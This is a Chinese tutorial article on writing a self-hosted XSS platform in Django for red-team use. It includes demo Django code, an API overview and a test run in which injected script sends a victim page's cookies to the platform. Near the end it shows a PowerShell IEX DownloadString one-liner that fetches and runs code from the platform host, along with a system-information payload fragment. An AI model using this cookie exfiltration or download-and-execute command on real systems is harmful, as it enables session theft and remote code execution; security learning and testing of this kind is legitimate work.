从零开始编写XSS平台
郑重声明:文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,如果您不同意请关闭该页面!任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担!
前言
在我们日常渗透或者红队打点的时候都或多或少的会挖掘到XSS漏洞,由于红队钓鱼也经常用到XSS平台,虽然网上免费可以注册的平台很多,但是这些平台都是别人的首先钓鱼到的数据并不是只有你一个人可见,网站的管理员也可以看的到,这就会对某些敏感的红队项目的信息造成泄漏,其次网站也经常不稳定,尝尝十天半个月就要换一个平台重新来一次,所以这篇文章就来了~

什么是XSS
跨站脚本(英语:Cross-site scripting,通常简称为:XSS)是一种网站应用程序的安全漏洞攻击,是代码注入的一种。它允许恶意用户将代码注入到网页上,其他用户在观看网页时就会受到影响。这类攻击通常包含了HTML以及用户端脚本语言。
Cross-site scripting的英文首字母缩写本应为CSS,但因为CSS在网页设计领域已经被广泛指层叠样式表(Cascading Style Sheets),所以将Cross(意为“交叉”)改以交叉形的X做为缩写。
XSS攻击通常指的是通过利用网页开发时留下的漏洞,通过巧妙的方法注入恶意指令代码到网页,使用户加载并执行攻击者恶意制造的网页程序。这些恶意网页程序通常是JavaScript,但实际上也可以包括Java,VBScript,ActiveX,Flash或者甚至是普通的HTML。攻击成功后,攻击者可能得到更高的权限(如执行一些操作)、私密网页内容、会话和cookie等各种内容。
框架选用
什么是Django
Django是一个开放源代码的Web应用框架,由Python写成。采用了MVT的软件设计模式,即模型(Model),视图(View)和模板(Template)。它在开发初期用于管理劳伦斯出版集团旗下的一些以新闻为主的网站。Django于2005年7月在BSD许可证下发布,它的名字来源于比利时的吉普赛爵士吉他手Django Reinhardt。
Django的主要目标是简化数据库驱动的网站的开发。Django注重组件的重用性和“可插拔性”,敏捷开发和DRY法则(Don’t Repeat Yourself)。在Django中普遍使用的语言是Python,甚至包括配置文件和数据模型。
为什么不用Flask
Flask 怎么定位自己的?
将自己定位为微框架。啥叫微框架,就是毛坯房的意思。给你个毛胚房,你自己装修去。
-
**表单怎么解决?**从社区找了个 Flask-Form
-
跨站攻击? 社区 Flask-Form 帮你做了。
-
登陆认证鉴权怎么搞定? 自己写 User 模块。
-
**ORM 怎么挑选?**flask-sqlalchemy 自己组装一下。等等 SQLAlchemy 是什么玩意? query 语法写起来怎么这么原始…
-
DBMigration 怎么做? Alembic 配合 SQLAlchemy, 等等,SQLAlchemy?? Alembic
-
缓存怎么做? 自己手动封装一下 RedisPy
Django 怎么定位标榜自己的?
划重点 The web framework for perfectionists with deadlines. 完美主义者的 Deadline 终结框架
定位不同,就会导致设计上和功能上的倾向性。
-
表单怎么解决? Django Form 很好用呀。
-
跨站攻击? Django 帮你做了 csrftoken
-
登陆认证鉴权怎么搞定? Django 自带了 backend 和 auth 模块。
-
**ORM 怎么挑选?**Django ORM 很好用。
-
DBMigration 怎么做? Django Migration 了解一些?
-
缓存怎么做? Django Cache 了解一下?
虽然我们整体架构都是自己纯手撸,使用Flask会更适合我们,但是大家有没有听过一句话:我可以不用,但是我不能没有(逃
Django简单演示
首先创建一个项目
python3 django-admin.py startproject demo |
项目中只有3个函数
- 显示文本
- 加法运算
- 加法运算后写入数据库
项目结构
├── demo |
在这结构中我们只需要关这三个文件
-
Database.py
数据库写入相关文件import sqlite3
import os
import sys
class GetRootFileLocation: # 获取当前文件路径类
def Result(self) -> str:
system_type = sys.platform
if system_type == "win32" or system_type == "cygwin":
RootFileLocation = os.path.split(os.path.realpath(__file__))[0]
return RootFileLocation
elif system_type == "linux" or system_type == "darwin":
RootFileLocation = os.path.split(os.path.realpath(__file__))[0]
return RootFileLocation
class GetDatabaseFilePath: # 数据库文件路径返回值
def result(self) -> str:
if sys.platform == "win32" or sys.platform == "cygwin":
DatabaseFilePath = GetRootFileLocation().Result() + "\\xss.db"
return DatabaseFilePath
elif sys.platform == "linux" or sys.platform == "darwin":
DatabaseFilePath = GetRootFileLocation().Result() + "/xss.db"
return DatabaseFilePath
class AdditionOperation:
def __init__(self):
self.con = sqlite3.connect(GetDatabaseFilePath().result())
# 获取所创建数据的游标
self.cur = self.con.cursor()
# 创建表
try:
self.cur.execute("CREATE TABLE AdditionOperation\
(id INTEGER PRIMARY KEY,\
a TEXT NOT NULL,\
b TEXT NOT NULL,\
calculation result TEXT NOT NULL)")
except Exception as e:
pass
def Write(self, **kwargs) -> bool or None: # 写入相关信息
A = kwargs.get("a")
B = kwargs.get("b")
try:
self.cur.execute("INSERT INTO AdditionOperation(a,b,calculation)\
VALUES (?,?,?)", (A,B,int(A)+int(B),))
# 提交
self.con.commit()
self.con.close()
return True
except Exception as e:
return False -
urls.py
路由表,用来表示连接和路由的关系from demo.XSS.test import SayHello,Add,AddToDatabase
from django.urls import path
urlpatterns = [
path('sey_hello/', SayHello),
path('add/', Add),
path('add_to_database/', AddToDatabase),
] -
test.py
演示的三个函数from django.http import JsonResponse
import json
from Database import AdditionOperation
def SayHello(request):#判断请求方式后说你好
if request.method == "POST":
return JsonResponse({'message': 'Hello this is POST~', 'code': 200, })
elif request.method == "GET":
return JsonResponse({'message': 'Hello this is GET', 'code': 200, })
def Add(request):#进行加法
if request.method == "POST":
A = json.loads(request.body)["a"]
B = json.loads(request.body)["b"]
return JsonResponse({'message': int(A)+int(B), 'code': 200, })
else:
return JsonResponse({'message': '请使用POST!', 'code': 500, })
"""
{
"a": "1",
"b": "2"
}
"""
def AddToDatabase(request):#进行加法后写入数据库
if request.method == "POST":
A = json.loads(request.body)["a"]
B = json.loads(request.body)["b"]
AdditionOperation().Write(a=A,b=B)
return JsonResponse({'message': int(A)+int(B), 'code': 200, })
else:
return JsonResponse({'message': '请使用POST!', 'code': 500, })
演示效果
在文件更目录启动项目
python3 manage.py runserver 0.0.0.0:9999 --insecure |
可以看到数据库文件中也写入了相关数据
平台设计
项目关系图
项目的逻辑
除去存放类函数的文件和用户认证文件,整体的文件逻辑如下图
API接口
一个XSS平台在不考虑用户登录的情况下,只需要11个API接口以及3张表即可
接收数据:/a/xxxxx |
Django中路由表(urls.py)显示如下:
数据库表
存放接收数据表:CrossSiteScript |
函数讲解
该模块所有函数逻辑结构都相同,为了不浪费大家的时间,当前就挑选一个生产项目的函数出来讲解,如果想了解各个接口相关参数可以查阅文档
def GenerateProject(request):#用来生成项目,并且生成文件和用户绑定 |
RequestLogRecord
和UserOperationLogRecord
函数是用户行为判断使用的的UserInfo().QueryUidWithToken(UserToken)
是对用户传入的token进行权限验证的ErrorLog().Write()
是对报错日志进行一个写入操作的,这几个函数都不用去管它,这不在我们的介绍中
1.首先函数通过判断用户的请求方式
2.当用户使用POST的时候,进行用户传入project_name
、javascript_data
、token
三个值的获取
3.通过获取到的token
值进行查询用户的UID值
4.如果UID不为空且传入的javascript_data
值不为空,进行文件名生成
5.当文件名不冲突的时候进行拼接写入到本地,并且传入到数据库中
效果演示
设置靶机
用PHPstudy快速搭建一个受害者机器,利用php来生成一个cookie
|
创建项目
创建好需要替换掉文本中的ip和项目文件地址这两个参数
构建POC
接着我们在靶机上面添加XSS内容,IP填你的域名或者你后端的地址
查看效果
可以看到上图1.php文件生成了一个cookie,然后加载了云端的js脚本,最后像云端发送了数据
其他用法
其实很多时候当目标机器可以无回显执行命令时使用,我们用的dnslog来获取数据会很慢,还可以通过powershell获取数据
创建项目
这边把js文件内容替换成powershell命令,然后创建项目
$Desktop=Get-CimInstance -ClassName Win32_Desktop |
运行演示
执行命令
IEX (New-Object Net.WebClient).DownloadString("http://10.91.212.184:9999/s/eeUZF") |
总结思考
大部分白帽子测试漏洞就是进行一个普通弹窗演示,但是正常打红队,想要获取目标客服的一些信息的时候,由于信任以及网址被WAF拦截等情况,导致各种问题,并且无开源项目
本文介绍了一个XSS平台从头到尾的诞生,以及利用原理,虽然代码没有具体详细讲解,主要是太过于枯燥,感兴趣的师傅直接看项目源码就能够看懂,几乎是每一行都有注释,项目整体一个大的模块写下来花了小半个月时间,虽然功能不多,但是当时想写一个这个模块的时候,无从下手只能去看网上别人搭建的平台,通过注册抓包看逻辑结构,进行理解。每次动手写东西的时候都能收获许多东西,多学多谢才能从开发的角度去找漏洞。